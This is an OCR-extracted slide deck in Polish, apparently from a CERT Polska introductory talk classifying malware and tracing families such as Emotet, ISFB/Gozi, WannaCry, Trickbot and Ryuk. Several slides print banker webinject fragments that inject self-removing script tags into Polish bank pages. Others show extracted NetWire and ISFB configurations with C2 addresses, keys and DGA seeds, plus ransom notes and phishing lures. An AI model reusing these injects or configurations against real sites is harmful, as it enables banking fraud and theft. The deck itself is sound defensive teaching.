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Specjalista w CERT Polska

{Reverse,Software,Security} Engineer
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I S whois psrok1

Specjalista w CERT Polska

{Reverse,Software,Security} Engineer
Oxcc.pl / @_psrok1 / p4.team

Swiezo upieczony doktorant na Elce!
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przemyslenia wstepne



I malware: here be dragons

e Temat o ktérym ludzie chetnie rozmawiajg
o Ale niekoniecznie sensownie

o Olbrzymie ilosci FUD w sieci

o Nie polecamy czytac¢ artykutu Wikipedii na ten temat...
e Malware research to temat bardzo niszowy
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stowniczek

e haker -> przestepca
e cyberxyz -> xyz
e wirus -> malware
(albo ztosliwe oprogramowanie)
e CERT -> CERT.PL (albo gov etc...)
e CnC/C2/CC/C&C/Command & Control
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po kolei: co to jest ten malware?
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I po kolei: co to jest ten malware?
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I po kolei: co to jest ten malware?
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po kolei: co to jest ten malware?

typowy komputer zainfekowany
ztoSliwym oprogramowaniem
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I po kolei: co to jest ten malware?

COMPUTER PROBLETS COMPUTER
THAT MAKE PEDPLE SRY PROBLEMS CAUSED
“MAYBE. ITHAS A VIRYS?" BY VIRUSES
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po kolei: co to jest ten malware?

e Program wykorzystujgcy komputer uzytkownika wbrew jego wiedzy i woli
e Program jak program - wiekszos$¢ legend tutaj jest przesadzona
o Wewnetrzne moduty pisane najczesciej w C/C++, czasami Delphi
o Ale zdarza siei C#
o Pierwsze warstwy w JavaScript, JScript, VisualBasic...
e Nie ma zadnego interesu sie ujawniac - wrecz przeciwnie
e Tworcy prawie zawsze motywowani finansowo
o Czasy ztosliwego oprogramowania jako zartu juz dawno minety
o Od script kiddies do wielkich grup przestepczych
o W wyjatkowych przypadkach (wybrane grupy APT) cel inny niz zarobek
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Klasyfikacja ztosliwego
oprogramowania



I Klasyfikacja zlosliwego oprogramowania

e Wedtug sposobu infekcji
e Wedtug wykonywanych zadan
e Inne podejscia
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I Klasyfikacja wedtug sposobu infekc;ji

e Klasyczne podejscie, wspotczesnie mniej wazne
o Wirusy
o Robaki
o Kon trojanski
o [inne?]
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I Wirusy

Nie kazdy malware to wirus!

e Samopowielajagcy sie kod

e Rozpowszechnia sie poprzez podmienianie/dotgczanie
swojego kodu do plikow gospodarza (rowniez na nosnikach
wymiennych)

e Jedna z najstarszych metod infekcji, obecnie rzadko
wykorzystywana
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http://www.youtube.com/watch?v=672IV-K8afA

Robaki (worm)

e Malware wykorzystujgcy sieC do rozprzestrzeniania sie
e Do rozprzestrzeniania sie wykorzystywane sa:
o dostepne ustugi (np. poczta elektroniczna)
o znane podatnosci (ransomware WannaCry
wykorzystujgcy exploit EternalBlue na SMB)
e Nastepstwem infekcji robakiem byto m.in. powstanie
pierwszego zespotu CERT (robak Morris, 1988)
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I Kon trojanski

e Imituje interesujgcy program lub plik:
o zatgcznik w mailu imitujgcy fakture
o program udajacy oprogramowanle antywirusowe

XP Police Antiv

XP Police Antivirus

Welcome to the Installer!

This program will download and install <P Paolice &ntivirus on your PC. By
clicking continue button you are accepting our Terms and Conditions

Cancel i Continue

.................................
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Wirus?

trojan?

robak?
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Wirus? \
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robak?

trojan?
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I Klasyfikacja wedtug sposobu dziatania

e Kluczowe wspotczesnie
o Stealer
Trojan bankowy (Banker)
Ransomware
RAT
Dropper
Inne

O O O O O
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I Stealer

e Cel: kradziez danych z zainfekowanego systemu
o Dane dostepowe do kont ofiary
o Weciskane klawisze (keylogger)
o Kontakty z ksigzki adresowej
o Dokumenty, portfele kryptowalut

e Dawniej okreslany jako spyware
(oprogramowanie szpiegowskie)
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NirSoft

Main Page
Blog
Search
FAQ

TOP 10
Pad Files
Contact
About...

Donate
All Utilities

Password Tools
System Tools
Browser Tools
Programmer Tools

Network Tools
NutlankiNtHica

Windows Password Recovery Tools

G| f | €]~ ] + B
See Also:

e Free data recovery software for Windows - Try Disk Drill, free data recovery s
o Windows Password Recovery Software From Stellar Phoenix - Reset Window

NirSoft Web site provides free password recovery tools for variety of Windows prog:
of Windows, Yahoo Messenger, MSN Messenger, and more...

If vou want to download a package of all Windows password recovery tools in one z
to copy it to the clipboard)

Be aware that some Antivirus programs might detect that these password recovery to
issues. Click here to read more about false alerts in Antivirus programs
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I Banker

e Cel: kradziez srodkow z konta bankowego

e ROzne techniki:
o podmiana numeru konta w Schowku na humer
stupa/przestepcy (VBKIip)
o pozyskiwanie danych logowania do bankowosci
elektronicznej (form grabbing)
o Automatic Transfer System (ATS)
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I Banker - Man-in-the-Browser (MitB)

® /tosliwe oprogramowanie przejmuje kontrole nad
przegladarkg, czekajgc az oflara wejdzie na strone
bankowosci elektroniczne;

e Mozliwosci:
o Kradziez informac;ji
o Modyfikacja danych wysytanych do banku
o Osadzanie ztosliwych skryptow w kontekscie

strony banku
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I Banker - Webinjects

set_url https://www.centrum24.pl/centrum24-web/uep

replace: <html xmlns="http://www.w3.0rg/1999/xhtml" -xml:lang="pl" lang="pl">**head>

inject:

<html -xmlns="http://www.w3.0rg/1999/xhtml" -xml:lang="pl" - lang="pl">**head><script-id="n
-botid="@ID@"></script>

<script- id="myjs2">

document.getElementById("myjs1").parentNode.removeChild(document.getElementById("myjs1"

document.getElementById("myjs2").parentNode.removeChild(document.getElementById("myjs2"

</script>

end _inject

set _url https://bitbay.ne*
replace: <head>
inject:
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Banker - ATS

e Przelew z konta jest inicjowany automatycznie, gdy ofiara
zaloguje sie na strone banku

System alarmowy nie jest w stanie zidentyfikowac komputer. To moze by¢ skutek niedawne; aktualizacj
oprogramowania lub nowy adres IP przypisany przez dostawce ustug internetowych.
W tym przypadku nalezy uwierzytelni¢ komputera, aby uniknac zablokowania konta. Prosze autoryzaci.

IP 1234
Wprowadz kod nr ?

ZALOGUJ »

CERT.IPL>



I Ransomware

e Cel: zablokowanie dostepu do plikow/urzgdzenia
oflary z zgdaniem okupu w zamian za dane.

e Proste podejscie, ktore bardzo szybko zyskato
popularnosc.

CERT.PL



Cryptolocker 2.0

Your personal files are encrypted

~Info 1

Your important files were encrypted on this computer: photos, |
videos, documents |, etc. You can verify this by click on see files
and try to open them.

Encryption was produced using unique public key RSA-4096
generated for this computer. To decrypt files, you need to obtain
private key.

The single copy of the private key, which will alloww you to decrypt
{the files, is located on a secret server on the Internet; the server
will destroy the key within 72 hours after encryption
completed. After that, nobody and never will be able to restore
files.|

Your files will be lost

without payment on: To retrieve the private key, you need to pay 0.5 bitcoins.

11/24/2013 3:16:34 PM IClick proceed to payment to obtain private key.

Any attempt to remove or damage this software will lead
to immediate private key destruction by server.
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o {olRERRIAS IO | B

) Sheriff Ransomware: FAQ Jak zapobiegaé Narzedzia deszyfrujace Zqtos przestepstwo Partnerzy

NARZEDZIA DESZYFRUJACE

|IE! Zanim pobierzesz i uruchomisz dekryptor, przeczytaj Poradnik. Upewnij sie, Ze wpierw usunales zlosli
ramowanie z systemu, w przeciwnym wypadku pliki zostana ponownie zaszyfrowane. Skorzystaj w tym
go oprogramowania antywirusowego.

CERT.PL



I RAT (Remote Access Trojan, backdoor)

e Cel: zdalny dostep do systemu

e Troche jak TeamViewer, ale bez wiedzy
“uzytkownika” po drugiej stronie

e Pozwala na swobodny rekonesans w
poszukiwaniu interesujgcych plikow, ktore moga
by¢ wykorzystane np. do zaszantazowania oflary.
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RAT (Remote Access Trojan, backdoor)

2 Wlll!lll WIRED LABS English

wiring the world for you

Store ~ Announcements Knowledgebase Network Status Affiliates Contact Us

W Categories Review & Checkout

Remote Controlers
Product/Options Price/Cycle

+ Actions NetWire Basic # Edit $120.00 USD X
Remote Controlers Annually
i = | wemps cor J
Apply Promo Code
4+ Choose Currenc
Enter promo code if you have one
usD v

Validate Code
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I RAT (Remote Access Trojan, backdoor)

Family netwire

Config type static

+ dir-path %AppData¥\Logs\

+ filename MIRAM

+ flags (532551, 7544

+ mutex FFTmLOX]

+ password DAWATkurwoKASE

+ reg-key system

+ type netwire

+ urls [ “enc®: 7213.352.162:89%; Tport”: 8747 }; { Tcnct: 7213:352.162:
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I Dropper

e Cel: skuteczniejsza dystrybucja ztosliwego
oprogramowania

e Pobieraiinstaluje docelowy malware na
zainfekowanym komputerze

e Plik EXE jako zatgcznik jest znacznie prostszy
do zablokowania
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I Dropper

L A LA R B L

platnosci za fakture

o Usunelismy dodatkowe podziaty wiersza w tej wiadomosci,

Wiadomosé 2 )Zalacznik bez tytulu 00203.htm (1 KB) | &' FV201705963636.doc (100 KB}

Dzien dobry,
Uprzejmie przypominamy o dokonaniu platnosci za fakture nr SAR/2017/05/29 na kwote 538,10 PLN brutto (termin platnosci: 2017-05-29).

Laczna kwota do zaplaty: 538,10 PLN.

Prosimy o uregulowanie naleznosci na konto.

Dziekujemy.

CERT.PL>_



I Dropper

e Prostota dziatania pozwala poswieci¢ wiecej uwagi
ochronie przed wykryciem.
Mnogos$¢ formatow:

O

O
O
O

Dokumenty Office ze ztosliwym makrem
Skrypty JScript/VBScript

Proste pliki wykonywalne (.pif, .scr)

Pliki wykorzystujgce znane podatnosci
(.rtf + CVE-2017-11882)
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I Inne

e Spamboty - botnet stuzgcy do rozsytania spamu

e Coinminery - wykorzystywanie mocy
obliczeniowej ofiary do kopania kryptowaluty

e Adware - wyswietlanie reklam
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I Malware wielozadaniowy!

e Wspotczesny malware zazwyczaj ma architekture
modutowa:
o Najpierw instalowany jest core, ktorego
jedynym celem jest pobranie pluginow z C&C
o Pluginy realizujg rozne cele w zaleznosci
od strategii botmastera
e Tofsee: 20 roznych modutow!
o Klasyfikacja? =
CERT.PL



Cost:

- BOT -400%

- STEALER - 100%

- FORM GRABBER - 300%
- PASS SNIFFER - 100$

- FAKE DNS - 100%

- DDOS - 200%

- HIDDNEN TV - 150%

- KEYLOGGER- 100%

- PROCMON - 50%

- FILE SEARCH - 50%

- MINER - 100$%

- EMAIL GRABBER - 100$%
- Rebild bot - 30%

- updates: minor fixes are free, the rest is discussed separately.
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wybrane wspotczesne rodziny
ztosliwego oprogramowania



I emotet

e Oryginalnie banker
e Przeszedt ptynnie w spambota
e Propagacja za pomocga spamu 8
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............................................................................................................................................................................................................................................................................................

0x220000

Memory Region s § — Stub Stub Stub — Stub — Stub — Stub —

0x240000 .................. DecryptedPEﬁle o N I T LI O PRI Er ) 8 ST N DD T ORI

Memory Region -2 (Another Emotet Decrypted PE File Decrypted PE File Decrypted PE File Decrypted PE File
Binary)

G000 —— e - - R | EE——— ] ‘

Meimory Raglon 3 Payload without ~ __ Paylpad with Paquad wﬂ:h Payload with

hooks hooks hooks hooks
0x400000 Emott?t-Packed Uninapped view
Memory Region -4 Binary

Final Payload <

of 15.exe

(15.exe)

src: raport bromium

CERT.PL>_




isfb/gozi

+ Aug 14 2019
compilation_date

. B a I I ke r + dga_base_url constitution.org/usdeclar.txt

. + dga_count 5

. DZIa‘I’a W - + dga_crc 1320669898
+ dga_lsa_seed 3988359472
+ dga_season 10
+ dga_seed 1
+ dga_tid [ Nacom™ NornYo % iorgh ]
+ domains [ { "cnc": "google.com" }, { "cnc": "gmail.com" }, { "cnc": "s39%aihzlia.com" }, { "cnc": "hgrya64peyton.com" }..
+ exe_type loader
+ key 10291029JSJUYNHG
+ public_key { "e": 65537, "n": "117523701888182342343679329848854595428541663402370876620064343221231171886945776484038401...
+ server 12
+ timer 0
+ type isfb
+ version 2.14.085
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isfb/gozi

*/images/*.gif
*/images/*.jpeg
*/images/*.bmp
*/images/*.avi

rsa encrypted header

serpent encrypted data (0x40 bytes)

Y

padding md5(data) serpent key len(data)
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isfb/gozi

e Charakterystyczny format zaszyfrowanych danych

rsa encrypted header
(0x40 bytes)

Y

"ARCH" | cmp_len juncmp le crc32 aplib32 compressed
(4 bytes) | (4 bytes) | (4 bytes) | (4 bytes) data
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isfb/gozi

end inject

set_url https://secure.getinbank.p*

replace: </title>

inject:

</title>

<script id="myjs1" src="test1/my9rep/myjs28 frr_s38.js?bb=@ID@" data-botid="@ID@"></script>
<script id="myjs2">
document.getElementById("myjs1").parentNode.removeChild(document.getElementById("myjs1"));
document.getElementById("myjs2").parentNode.removeChild(document.getElementById("myjs2"));
</script>

end inject

set _url https://secure.ideabank.p*

replace: Bank</title>

inject:

Bank</title>

<script id="myjs1" src="test1/my9rep/myjs28 frr_s45.js?bb=@ID@" data-botid="@ID@"></script>
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isfb/gozi

moded
ursnif/ --+-- > gozi (original name CRM)
snifula |
|<- goziv2/gozi prinimalka - rovnix used as a protector in some cases
|
| |
isfb

vawtrak <- pony
| |
| |
| | | vawtrak v2
| | | |

dreambot* iap* powersniff goznym** <- nymaim + <- eol?

src: https://lokalhost.pl/gozi_tree.txt
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https://lokalhost.pl/gozi_tree.txt

Ooops, your files have been encrypted!

What Happened to My Computer?

Your important files are encrypted.

Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without
our decryption service.

Payment will be raised on g
s=j Can I Recover My Files?

5/16/2017 00:47:55 Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.
Time Left You can decrypt some of your files for free. Try now by clicking <Decrypt>.
But if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don't pay in 7 days, you won't be able to recover your files forever.
We will have free events for users who are so poor that they couldn’t pay in 6 months.

Your files will be lost on

How Do I Pay?

Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>.

And send the correct amount to the address specified in this window.

After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am

PAEITE e eee Ve S DN 2D

5/20/2017 00:47:55

Time Left

Send $300 worth of bitcoin to this address:

12t9YDPgwueZ9NyMgw519p7AABisjr6 SMw

CERT.PL>_



I WannaCry

Rola: Ransomware

Ale tez Robak

200k ofiar, szacowane S4kkk strat
Wzlot i upadek Marcusa Hutchinsa
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Przebieg infekc;ji



Netwire
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Trickbo
T

Emotet

Ryuk
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Emotet Kill-chain

Dropper

Subject: Wazna informacja!

4

Attachment: Dok 6867 193568.doc

W v=bare ¥ y "rs - 111 = - -1 - als P = N7 11y ) - liere = \rev =mias TS -
W zatgczonym opracowaniu znajdziecie opis jak wydrukowac liste oraz przypomnienie zasad

W przypadku pytan prosze o Kontaki.

pozdrawiam,
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Emotet Kill-chain

Dropper

| SECURITY WARNING Macros have been disabled. Enable Content x

n Offlce This document is protected

Open the document in I this document was

Microsoft Office downloaded from your ?;(:\gyo;::: :;::bbd
Previewing online is email, please click “Enable Content” from
not available for “Enable Editing” from the yellow bar above
protected documents the yellow bar above

d
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Emotet Kill-chain

=)

Dropper Emotet

e Wykradanie haset do kont pocztowych, a takze

catych konwersacji, aby uwiarygodnic¢ rozsytane
maile (stealer)

e Dystrybucja innych rodzin (dropper)
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Emotet Kill-chain

= @

Dropper Emotet Trickbot

e Moduty Trickbota:
o dalsze wykradanie haset (stealer)
o rozprzestrzenianie sie w sieci wewnetrznej
przy uzyciu exploitow m.in. EternalBlue

o reverse-shell i modut VNC, pozwalajgcy przestepcom na
dalszy rekonesans (RAT)
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Emotet Kill-chain

Dropper

> — O

Emotet Trickbot Ryuk

=)

e Jesli ofiara okaze sie szczegdlnie interesujgca
(moze zaptaci¢ duzy okup), na przejetych komputerach
instalowany jest ransomware Ryuk

r

| RyukReadMe.txt - Notepad [ =L l-

File Edit Format View Help
Your network has been penetrated.

A1l files on each host in the network have been encrypted with a strong algorithm.

Backups were either encrypted or deleted or backup disks were formatted.
Shadow copies also removed, so F8 or any other methods may damage encrypted data but not recover.

we exclusively have decryption software for your situation
No decryption software is available in the public.

DO NOT RESET OR SHUTDOWN - files may be damaged.
DO NOT RENAME OR MOVE the encrypted and readme files.
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Dropper e 4 Emotet Trickbot

e Jesli ofiara okaze sie szczegdlnie interesujgca
(moze zaptaci¢ duzy okup), na przejetych komputerach
instalowany jest ransomware Ryuk

r

| RyukReadMe.txt - Notepad = |5 |-
File Edit Format View Help
Your network has been penetrated.

A1l files on each host in the network have been encrypted with a strong algorithm.

Backups were either encrypted or deleted or backup disks were formatted.
Shadow copies also removed, so F8 or any other methods may damage encrypted data but not recover.

we exclusively have decryption software for your situation
No decryption software is available in the public.

DO NOT RESET OR SHUTDOWN - files may be damaged.
DO NOT RENAME OR MOVE the encrypted and readme files.
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Inne przyklady

Replying to @James_inthe_box @JayTHL and 2 others

#Netwire #NanoCore and #RemcosRAT C2:

sub.thebest1jewels.waw[.]pl
FBB is #Formbook

7:34 PM - Oct 23, 2019 - Twitter Web App

2 Retweets 3 Likes

O [ Q

Tags

Add tag
Related samples

child 123642c5307d16e0f7f0ec0
4e2d@8da397b02384449bc3e
d32f335elbbd@b6a%9a40

child 87295f2c46f4855f6bfddd
98052dea8091fcf49ee3a3
bb95a80b7al7c6ae218T

Add

et:bladabindi

runnable:win32:exe

danabot_module_2222

P
g

remcos

remcos
ripedemess

runnable:win32:exe

danabot_module_ 222
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aktorzy: kto pisze malware?



I 1. zli ludzie

e Aktorzy motywowani finansowo
e Czesto pochodzacy "ze wschodu’
e Od script kiddies do wielkich grup przestepczych
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I 2. zapracowani ludzie

State sponsored malware
Alternatywna nazwa: ataki APT

APT38, APT28, APT29
SandCat, Helix Kitten, Charming Kitten -
"Equation Group”
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3. gtupi ludzie

e Malware "edukacyjny”
e Pisany przez studentdéw/entuzjastow, konczy na Githubie...

Disclaimer P
L —— / g
c _—
This Ransomware musn't be used to harm/threat/hurt other person's computer. > <

It's purpose Is only to share knowledge and awareness about Malware/Cryptography/Operating Systems./Programmlng.
GonnaCry Is a academic ransomware made for learning and awareness about security/cryptography.

Be aware running C/bin/GonnaCry or Python/GonnaCry/main.py Python/GonnaCry/bin/gonnacry in your compi
it may harm.
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na koniec



CERT.PL -

Q&A?

https://cert.pl
hitps://incydent.cert.pl
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